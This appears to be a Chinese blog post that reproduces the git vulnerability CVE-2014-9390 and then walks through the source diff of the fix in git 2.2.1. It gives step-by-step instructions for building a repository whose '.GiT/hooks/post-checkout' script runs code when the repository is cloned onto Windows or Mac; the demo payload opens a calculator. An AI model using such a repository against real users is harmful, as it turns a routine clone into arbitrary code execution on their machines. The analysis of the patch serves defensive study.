首页 > 代码库 > git CVE-2014-9390 验证以及源码对比
git CVE-2014-9390 验证以及源码对比
一 验证部分
首先在ubuntu下面建立如下工程
mkdir repocd repogit initmkdir -p .GiT/hookscp post-checkout .GiT/hookscat post-checkout内容如下#!/bin/shcalc.execalcopen /Applications/Calculator.app/gnome-calculator
然后将工程提交到git服务器,由于github已经不能提交.Git这种目录,我就自己搭建了一个服务器.
git remote add origin git@10.10.10.133:/home/git/project.git
git push origin master
然后在windows下验证,由于此bug只能在大小写不敏感的文件系统上才能重现,所以客户端只能是windows或者mac.
$ git --version
git version 1.9.2.msysgit.0
$ git clone git@10.10.10.133:/home/git/project.gitCloning into ‘project‘...git@10.10.10.133‘s password:remote: Counting objects: 12, done.remote: Compressing objects: 100% (6/6), done.remote: Total 12 (delta 0), reused 0 (delta 0)Receiving objects: 100% (12/12), done.Checking connectivity... done..git/hooks/post-checkout: line 4: open: command not found.git/hooks/post-checkout: line 5: gnome-calculator: command not found
结果打开两次计算器.
如果使用升级以后的git呢,我们来看看git 1.9.5
$ git clone git@10.10.10.133:/home/git/project.gitCloning into ‘project‘...git@10.10.10.133‘s password:remote: Counting objects: 12, done.remote: Compressing objects: 100% (6/6), done.remote: Total 12 (delta 0), reused 0 (delta 0)Receiving objects: 100% (12/12), done.Checking connectivity... done.error: Invalid path ‘.GiT/hooks/post-checkout‘Administrator@MICRO-6A55C209C /c/repo$ git --versiongit version 1.9.5.msysgit.0
这里报错,说.GiT是一个无效的路径,被过滤掉了.
这个错误从本质上来说就是因为在linux系统下面,.Git/hooks/post-checkout只是一个普通文件.但是对于大小写不敏感的系统,这个文件会覆盖git系统的.git/hooks/post-checkout这个配置文件,导致的结果是任意命令的执行.
这个本来是git的一个功能,来提高git对于项目管理的灵活性,并且一般clone的时候是不会clone .git/下面的配置文件的.
二 源码对比
接下来我们来看看git最新版本做了哪些改动呢?
我将最新的git-2.2.1和git-2.2.0(这个是官方版本,windows下用的是msysgit,所以版本号不一致)
diff -r git-2.2.0 git-2.2.1
输出结果如下:
Only in git-2.2.1/Documentation/RelNotes: 1.8.5.6.txtOnly in git-2.2.1/Documentation/RelNotes: 1.9.5.txtOnly in git-2.2.1/Documentation/RelNotes: 2.0.5.txtOnly in git-2.2.1/Documentation/RelNotes: 2.1.4.txtOnly in git-2.2.1/Documentation/RelNotes: 2.2.1.txtdiff -r git-2.2.0/Documentation/config.txt git-2.2.1/Documentation/config.txt248a249,259> core.protectHFS::> If set to true, do not allow checkout of paths that would> be considered equivalent to `.git` on an HFS+ filesystem.> Defaults to `true` on Mac OS, and `false` elsewhere.> > core.protectNTFS::> If set to true, do not allow checkout of paths that would> cause problems with the NTFS filesystem, e.g. conflict with> 8.3 "short" names.> Defaults to `true` on Windows, and `false` elsewhere.> diff -r git-2.2.0/Documentation/git.txt git-2.2.1/Documentation/git.txt46c46< * link:v2.2.0/git.html[documentation for release 2.2]---> * link:v2.2.1/git.html[documentation for release 2.2.1]48a49> link:RelNotes/2.2.1.txt[2.2.1],51c52< * link:v2.1.3/git.html[documentation for release 2.1.3]---> * link:v2.1.4/git.html[documentation for release 2.1.4]53a55> link:RelNotes/2.1.4.txt[2.1.4],59c61< * link:v2.0.4/git.html[documentation for release 2.0.4]---> * link:v2.0.5/git.html[documentation for release 2.0.5]61a64> link:RelNotes/2.0.5.txt[2.0.5],68c71< * link:v1.9.4/git.html[documentation for release 1.9.4]---> * link:v1.9.5/git.html[documentation for release 1.9.5]70a74> link:RelNotes/1.9.5.txt[1.9.5],77c81< * link:v1.8.5.5/git.html[documentation for release 1.8.5.5]---> * link:v1.8.5.6/git.html[documentation for release 1.8.5.6]79a84> link:RelNotes/1.8.5.6.txt[1.8.5.6],diff -r git-2.2.0/GIT-VERSION-GEN git-2.2.1/GIT-VERSION-GEN4c4< DEF_VER=v2.2.0---> DEF_VER=v2.2.1diff -r git-2.2.0/RelNotes git-2.2.1/RelNotes1c1< Documentation/RelNotes/2.2.0.txt\ No newline at end of file---> Documentation/RelNotes/2.2.1.txt\ No newline at end of filediff -r git-2.2.0/cache.h git-2.2.1/cache.h619a620,621> extern int protect_hfs;> extern int protect_ntfs;833a836> extern int is_ntfs_dotgit(const char *name);diff -r git-2.2.0/config.c git-2.2.1/config.c898a899,908> if (!strcmp(var, "core.protecthfs")) {> protect_hfs = git_config_bool(var, value);> return 0;> }> > if (!strcmp(var, "core.protectntfs")) {> protect_ntfs = git_config_bool(var, value);> return 0;> }> diff -r git-2.2.0/config.mak.uname git-2.2.1/config.mak.uname107a108> BASIC_CFLAGS += -DPROTECT_HFS_DEFAULT=1375a377> BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1516a519> BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1diff -r git-2.2.0/configure git-2.2.1/configure3c3< # Generated by GNU Autoconf 2.69 for git 2.2.0.---> # Generated by GNU Autoconf 2.69 for git 2.2.1.583,584c583,584< PACKAGE_VERSION=‘2.2.0‘< PACKAGE_STRING=‘git 2.2.0‘---> PACKAGE_VERSION=‘2.2.1‘> PACKAGE_STRING=‘git 2.2.1‘1254c1254< \`configure‘ configures git 2.2.0 to adapt to many kinds of systems.---> \`configure‘ configures git 2.2.1 to adapt to many kinds of systems.1315c1315< short | recursive ) echo "Configuration of git 2.2.0:";;---> short | recursive ) echo "Configuration of git 2.2.1:";;1454c1454< git configure 2.2.0---> git configure 2.2.11934c1934< It was created by git $as_me 2.2.0, which was---> It was created by git $as_me 2.2.1, which was7825c7825< This file was extended by git $as_me 2.2.0, which was---> This file was extended by git $as_me 2.2.1, which was7882c7882< git config.status 2.2.0---> git config.status 2.2.1diff -r git-2.2.0/environment.c git-2.2.1/environment.c66a67,76> #ifndef PROTECT_HFS_DEFAULT> #define PROTECT_HFS_DEFAULT 0> #endif> int protect_hfs = PROTECT_HFS_DEFAULT;> > #ifndef PROTECT_NTFS_DEFAULT> #define PROTECT_NTFS_DEFAULT 0> #endif> int protect_ntfs = PROTECT_NTFS_DEFAULT;> diff -r git-2.2.0/fsck.c git-2.2.1/fsck.c9a10> #include "utf8.h"174c175,177< has_dotgit |= !strcmp(name, ".git");---> has_dotgit |= (!strcmp(name, ".git") ||> is_hfs_dotgit(name) ||> is_ntfs_dotgit(name));diff -r git-2.2.0/git.spec git-2.2.1/git.spec4c4< Version: 2.2.0---> Version: 2.2.1diff -r git-2.2.0/path.c git-2.2.1/path.c825a826,858> > static int only_spaces_and_periods(const char *path, size_t len, size_t skip)> {> if (len < skip)> return 0;> len -= skip;> path += skip;> while (len-- > 0) {> char c = *(path++);> if (c != ‘ ‘ && c != ‘.‘)> return 0;> }> return 1;> }> > int is_ntfs_dotgit(const char *name)> {> int len;> > for (len = 0; ; len++)> if (!name[len] || name[len] == ‘\\‘ || is_dir_sep(name[len])) {> if (only_spaces_and_periods(name, len, 4) &&> !strncasecmp(name, ".git", 4))> return 1;> if (only_spaces_and_periods(name, len, 5) &&> !strncasecmp(name, "git~1", 5))> return 1;> if (name[len] != ‘\\‘)> return 0;> name += len + 1;> len = -1;> }> }diff -r git-2.2.0/po/de.po git-2.2.1/po/de.po647c647< msgstr "FEHLER: Wiederer枚ffnen einer bereits ge枚ffneten Lock-Datei"---> msgstr "FEHLER: Wieder枚ffnen einer bereits ge枚ffneten Lock-Datei"651c651< msgstr "FEHLER: Wiederer枚ffnen einer bereits committeten Lock-Datei"---> msgstr "FEHLER: Wieder枚ffnen einer bereits committeten Lock-Datei"1959c1959< msgstr " (benutzen Sie die Option -u, um unbeobachteten Dateien anzuzeigen)"---> msgstr " (benutzen Sie die Option -u, um unbeobachtete Dateien anzuzeigen)"2813c2813< msgstr "Inhalte der <Datei>en als entg眉ltiges Abbild benutzen"---> msgstr "Inhalte der <Datei>en als endg眉ltiges Abbild benutzen"3081c3081< msgstr "farbliche Ausgaben verwenden"---> msgstr "farbige Ausgaben verwenden"5588c5588< msgstr "Platzhalter als TCL-String formatieren"---> msgstr "Platzhalter als Tcl-String formatieren"6895c6895< msgstr "zwischengespeicherten Dateien in der Ausgabe anzeigen (Standard)"---> msgstr "zwischengespeicherte Dateien in der Ausgabe anzeigen (Standard)"8122c8122< msgstr "keine k眉nstlichen Vorg盲nger-Commit (\"grafts\") verbergen"---> msgstr "keine k眉nstlichen Vorg盲nger-Commits (\"grafts\") verbergen"9698c9698< msgstr "‘*!+-‘ entsprechend des Branches einf盲rgen"---> msgstr "‘*!+-‘ entsprechend des Branches einf盲rben"diff -r git-2.2.0/read-cache.c git-2.2.1/read-cache.c19a20> #include "utf8.h"779c780,781< if (rest[1] != ‘i‘)---> case ‘G‘:> if (rest[1] != ‘i‘ && rest[1] != ‘I‘)781c783< if (rest[2] != ‘t‘)---> if (rest[2] != ‘t‘ && rest[2] != ‘T‘)804a807,810> if (protect_hfs && is_hfs_dotgit(path))> return 0;> if (protect_ntfs && is_ntfs_dotgit(path))> return 0;Only in git-2.2.1/t: t1014-read-tree-confusing.shdiff -r git-2.2.0/t/t1450-fsck.sh git-2.2.1/t/t1450-fsck.sh312,341c312,346< test_expect_success ‘fsck notices "." and ".." in trees‘ ‘< (< git init dots &&< cd dots &&< blob=$(echo foo | git hash-object -w --stdin) &&< tab=$(printf "\\t") &&< git mktree <<-EOF &&< 100644 blob $blob$tab.< 100644 blob $blob$tab..< EOF< git fsck 2>out &&< cat out &&< grep "warning.*\\." out< )< ‘< < test_expect_success ‘fsck notices ".git" in trees‘ ‘< (< git init dotgit &&< cd dotgit &&< blob=$(echo foo | git hash-object -w --stdin) &&< tab=$(printf "\\t") &&< git mktree <<-EOF &&< 100644 blob $blob$tab.git< EOF< git fsck 2>out &&< cat out &&< grep "warning.*\\.git" out< )< ‘---> while read name path pretty; do> while read mode type; do> : ${pretty:=$path}> test_expect_success "fsck notices $pretty as $type" ‘> (> git init $name-$type &&> cd $name-$type &&> echo content >file &&> git add file &&> git commit -m base &&> blob=$(git rev-parse :file) &&> tree=$(git rev-parse HEAD^{tree}) &&> value=$(eval "echo \$$type") &&> printf "$mode $type %s\t%s" "$value" "$path" >bad &&> bad_tree=$(git mktree <bad) &&> git fsck 2>out &&> cat out &&> grep "warning.*tree $bad_tree" out> )‘> done <<-\EOF> 100644 blob> 040000 tree> EOF> done <<-EOF> dot .> dotdot ..> dotgit .git> dotgit-case .GIT> dotgit-unicode .gI${u200c}T .gI{u200c}T> dotgit-case2 .Git> git-tilde1 git~1> dotgitdot .git.> dot-backslash-case .\\\\.GIT\\\\foobar> dotgit-case-backslash .git\\\\foobar> EOFdiff -r git-2.2.0/t/test-lib.sh git-2.2.1/t/test-lib.sh172c172,176< export _x05 _x40 _z40 LF---> # UTF-8 ZERO WIDTH NON-JOINER, which HFS+ ignores> # when case-folding filenames> u200c=$(printf ‘\342\200\214‘)> > export _x05 _x40 _z40 LF u200cdiff -r git-2.2.0/unpack-trees.c git-2.2.1/unpack-trees.c101c101< static void do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,---> static int do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce,110,111c110,111< add_index_entry(&o->result, ce,< ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);---> return add_index_entry(&o->result, ce,> ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE);612c612,614< do_add_entry(o, src[i], 0, 0);---> if (do_add_entry(o, src[i], 0, 0))> return -1;> diff -r git-2.2.0/utf8.c git-2.2.1/utf8.c563a564,627> > /*> * Pick the next char from the stream, folding as an HFS+ filename comparison> * would. Note that this is _not_ complete by any means. It‘s just enough> * to make is_hfs_dotgit() work, and should not be used otherwise.> */> static ucs_char_t next_hfs_char(const char **in)> {> while (1) {> ucs_char_t out = pick_one_utf8_char(in, NULL);> /*> * check for malformed utf8. Technically this> * gets converted to a percent-sequence, but> * returning 0 is good enough for is_hfs_dotgit> * to realize it cannot be .git> */> if (!*in)> return 0;> > /* these code points are ignored completely */> switch (out) {> case 0x200c: /* ZERO WIDTH NON-JOINER */> case 0x200d: /* ZERO WIDTH JOINER */> case 0x200e: /* LEFT-TO-RIGHT MARK */> case 0x200f: /* RIGHT-TO-LEFT MARK */> case 0x202a: /* LEFT-TO-RIGHT EMBEDDING */> case 0x202b: /* RIGHT-TO-LEFT EMBEDDING */> case 0x202c: /* POP DIRECTIONAL FORMATTING */> case 0x202d: /* LEFT-TO-RIGHT OVERRIDE */> case 0x202e: /* RIGHT-TO-LEFT OVERRIDE */> case 0x206a: /* INHIBIT SYMMETRIC SWAPPING */> case 0x206b: /* ACTIVATE SYMMETRIC SWAPPING */> case 0x206c: /* INHIBIT ARABIC FORM SHAPING */> case 0x206d: /* ACTIVATE ARABIC FORM SHAPING */> case 0x206e: /* NATIONAL DIGIT SHAPES */> case 0x206f: /* NOMINAL DIGIT SHAPES */> case 0xfeff: /* ZERO WIDTH NO-BREAK SPACE */> continue;> }> > /*> * there‘s a great deal of other case-folding that occurs,> * but this is enough to catch anything that will convert> * to ".git"> */> return tolower(out);> }> }> > int is_hfs_dotgit(const char *path)> {> ucs_char_t c;> > if (next_hfs_char(&path) != ‘.‘ ||> next_hfs_char(&path) != ‘g‘ ||> next_hfs_char(&path) != ‘i‘ ||> next_hfs_char(&path) != ‘t‘)> return 0;> c = next_hfs_char(&path);> if (c && !is_dir_sep(c))> return 0;> > return 1;> }diff -r git-2.2.0/utf8.h git-2.2.1/utf8.h44a45,52> /*> * Returns true if the the path would match ".git" after HFS case-folding.> * The path should be NUL-terminated, but we will match variants of both ".git\0"> * and ".git/..." (but _not_ ".../.git"). This makes it suitable for both fsck> * and verify_path().> */> int is_hfs_dotgit(const char *path);> diff -r git-2.2.0/version git-2.2.1/version1c1< 2.2.0---> 2.2.1
可以看出改动很小,主要以下几个方面:
1. 添加了core.protectHFS 针对苹果系统
添加了core.protectNTFS 针对windows系统
2. 在fsck.c中
原来的has_dotgit |= !strcmp(name, ".git");
变成了
has_dotgit |= (!strcmp(name, ".git") ||
is_hfs_dotgit(name) ||
is_ntfs_dotgit(name));
而如果has_gotgit为1,那么在后面将会报错
if (has_dotgit)
retval += error_func(&item->object, FSCK_WARN, "contains ‘.git‘");
fsck是用于git 一致性检查,我们暂时先忽略它.
3.在path.c中加入了
static int only_spaces_and_periods(const char *path, size_t len, size_t skip){ if (len < skip) return 0; len -= skip; path += skip; while (len-- > 0) { char c = *(path++); if (c != ‘ ‘ && c != ‘.‘) return 0; } return 1;}int is_ntfs_dotgit(const char *name){ int len; for (len = 0; ; len++) if (!name[len] || name[len] == ‘\\‘ || is_dir_sep(name[len])) { if (only_spaces_and_periods(name, len, 4) && !strncasecmp(name, ".git", 4)) return 1; if (only_spaces_and_periods(name, len, 5) && !strncasecmp(name, "git~1", 5)) return 1; if (name[len] != ‘\\‘) return 0; name += len + 1; len = -1; }}
is_ntfs_dotgit主要是用来判断路名是不是以.git开头,这里检查的比较宽泛,诸如..git,..Git,‘ .git‘都被算做了以git开头,其实后两种情况,我在windows下面验证了,是不会和.git造成混淆的,可能是谨慎起见吧.
4. 使用
接下来是这个函数的使用,在read-cache.c中,这个才是我们clone的时候调用的函数.
一个是在
static int verify_dotfile(const char *rest)函数中,对于各种情况的大小写.git都认为是非法的.
还有就是
int verify_path(const char *path)中,对于路径的验证.
if (protect_hfs && is_hfs_dotgit(path))
return 0;
if (protect_ntfs && is_ntfs_dotgit(path))
return 0;
对于ntfs和hfs都进行了验证.
最后
由于没有苹果系统,这里就不对hfs进行解析了,其实两者做的工作差不多,只不过hfs又要考虑编码问题,这里就不写明了,感兴趣的读者自己去分析吧.
git CVE-2014-9390 验证以及源码对比